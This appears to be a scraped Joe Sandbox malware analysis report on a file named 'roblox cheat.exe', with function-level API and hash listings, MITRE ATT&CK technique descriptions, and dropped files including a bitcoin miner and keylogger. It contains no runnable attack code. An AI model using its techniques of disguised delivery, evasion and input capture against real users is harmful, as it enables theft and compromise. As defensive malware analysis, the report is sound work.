Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: 1ee6a6b9fbbd6c3126f8bc5ffec1b6aa008f2877db1f13591811bbd6ed408201
Instruction ID: 265ea5f837d0749f15288790e5f6f7d5fc79bd4d94b64237fca2a193ebb0827f
Opcode Fuzzy Hash: 1ee6a6b9fbbd6c3126f8bc5ffec1b6aa008f2877db1f13591811bbd6ed408201
Instruction Fuzzy Hash: EA41D462A2878285EF10EF26E4513BD6350EF95792F908331EADF826D6EE7CD640D740

Function 00007FF6C16EC2C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16EC2EA
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6C16E2CD5), ref: 00007FF6C16EC30B

Strings

C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe, xrefs: 00007FF6C16EC2F9

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe
API String ID: 3307058713-368138684
Opcode ID: 2b307fc7043d57580c2760bc14d10e66149d3294dbd6a1f00798eb6953a6f573
Instruction ID: 3a74ffa33b63f9533bfd14a19f462e33a8fc5448c29410ce72b4ad2ec6f7be6e
Opcode Fuzzy Hash: 2b307fc7043d57580c2760bc14d10e66149d3294dbd6a1f00798eb6953a6f573
Instruction Fuzzy Hash: 9F41B032A08A528AEB14DF27EC500BC7794EF847C9B544132E9CE87B85DE3DE641D390

Function 00007FF6C16D9B40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16B255C: GetDlgItem.USER32 ref: 00007FF6C16B25AC
Part of subcall function 00007FF6C16B255C: SetDlgItemTextW.USER32 ref: 00007FF6C16B25C8

EndDialog.USER32 ref: 00007FF6C16D9C24
SetDlgItemTextW.USER32 ref: 00007FF6C16D9CAA

Strings

ASKNEXTVOL, xrefs: 00007FF6C16D9B72

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Item$Text$Dialog
String ID: ASKNEXTVOL
API String ID: 2638039312-3402441367
Opcode ID: 75a4ef6a6cdb84fc8c98b7401f85638b76a9530d4b428818baa7d4c6ec3066de
Instruction ID: e937699db489c2f69e08e1c25fdfed37749f547c948f2d297f7b71a4a4e8db0b
Opcode Fuzzy Hash: 75a4ef6a6cdb84fc8c98b7401f85638b76a9530d4b428818baa7d4c6ec3066de
Instruction Fuzzy Hash: 6E41A322A1C68281FB10AF17E4542BA23A1AF86BC6F640035DECE87796DF3CE545E350

Function 00007FF6C16C9638 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C16C96EA

Part of subcall function 00007FF6C16D0F68: WideCharToMultiByte.KERNEL32 ref: 00007FF6C16D0F99

Strings

$%s, xrefs: 00007FF6C16C96D7
@%s, xrefs: 00007FF6C16C96CE

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 68d6d98aec82f67e7f26d78b4367655257a27e60e60eb814561ac576190adeba
Instruction ID: ecc49b75697e6d2d894b08a88c36bedc362b36dffebb565bd0826b51d7a05146
Opcode Fuzzy Hash: 68d6d98aec82f67e7f26d78b4367655257a27e60e60eb814561ac576190adeba
Instruction Fuzzy Hash: 5B31DC72B19A8686EF10EF67E4502E923A0EB44B85F401036EECE87795EE3DE505D740

Function 00007FF6C16EEB04 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6C16EEB76
GetFileType.KERNEL32 ref: 00007FF6C16EEB8C

Strings

@, xrefs: 00007FF6C16EEBB7

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 01c4e23626c5bd34e0d32a71787dfe5976e9b76bf070a7e2fa99837352baeece
Instruction ID: 8466bdd918367cda9b0f8ee14b013c2090e90caa0402bb0bf76b931d93a240cc
Opcode Fuzzy Hash: 01c4e23626c5bd34e0d32a71787dfe5976e9b76bf070a7e2fa99837352baeece
Instruction Fuzzy Hash: 8221A522A08B8242EF608F2699901393A55EF45775F280335D6EF877D4CF3DD981E391

Function 00007FF6C16E4078 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C16E1D3E), ref: 00007FF6C16E40BC
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C16E1D3E), ref: 00007FF6C16E4102

Strings

csm, xrefs: 00007FF6C16E40EF

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 995ce70781ed1107fbe35a2df86b6ab92d82f2488d4e31342cdb9a65d606da21
Instruction ID: a0307f18d821ef5e50712edc9f4d108873cdbcb6c914f268c0173b5ea03c320e
Opcode Fuzzy Hash: 995ce70781ed1107fbe35a2df86b6ab92d82f2488d4e31342cdb9a65d606da21
Instruction Fuzzy Hash: D3114F32608B4182EB208F26E8402697BE5FB88B95F184231DFCD47768DF3CD665CB40

Function 00007FF6C16CEA5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C16CE95F,?,?,?,00007FF6C16C463A,?,?,?), ref: 00007FF6C16CEA63
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C16CE95F,?,?,?,00007FF6C16C463A,?,?,?), ref: 00007FF6C16CEA6E

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6C16CEA78

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1211598281-2248577382
Opcode ID: 98ce5a6e9b01a49333d4d7b683bb298ff4a8e953ba0927a3bf2f7aa8eb90df55
Instruction ID: dde8962b22f5da7aab26da9d40493f1678d854f9fdf6ac0a8134a033d57d8319
Opcode Fuzzy Hash: 98ce5a6e9b01a49333d4d7b683bb298ff4a8e953ba0927a3bf2f7aa8eb90df55
Instruction Fuzzy Hash: C7E04F21E1980281FB00AF379C569B822117F64772FA00330E4FEC15F1AF2CE959E300

Function 00007FF6C16CA43C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6C16CA447
FindResourceW.KERNEL32 ref: 00007FF6C16CA45D

Strings

RTL, xrefs: 00007FF6C16CA453

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction ID: db3a7d4b7b6d9b40bc935cec8a03e2d12778f6ad0941f3bc3f09cb9e2faedcf2
Opcode Fuzzy Hash: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction Fuzzy Hash: E1D05E91F0960282FF199F73A44933412545F19B83F488078C8DE86390EE2CD098D754

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report roblox cheat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\roblox cheat.exe.log

C:\Users\user\AppData\Local\Roblox\logs\cacert.pem

C:\Users\user\AppData\Local\Roblox\logs\robloxPX1instaler_DD2F4.log

C:\Users\user\AppData\Local\Temp\ msedge.exe

C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe

C:\Users\user\AppData\Local\Temp\Keyloger.exe

C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

C:\Users\user\AppData\Local\Temp\coin.bat

C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Windows Analysis Report
roblox cheat.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre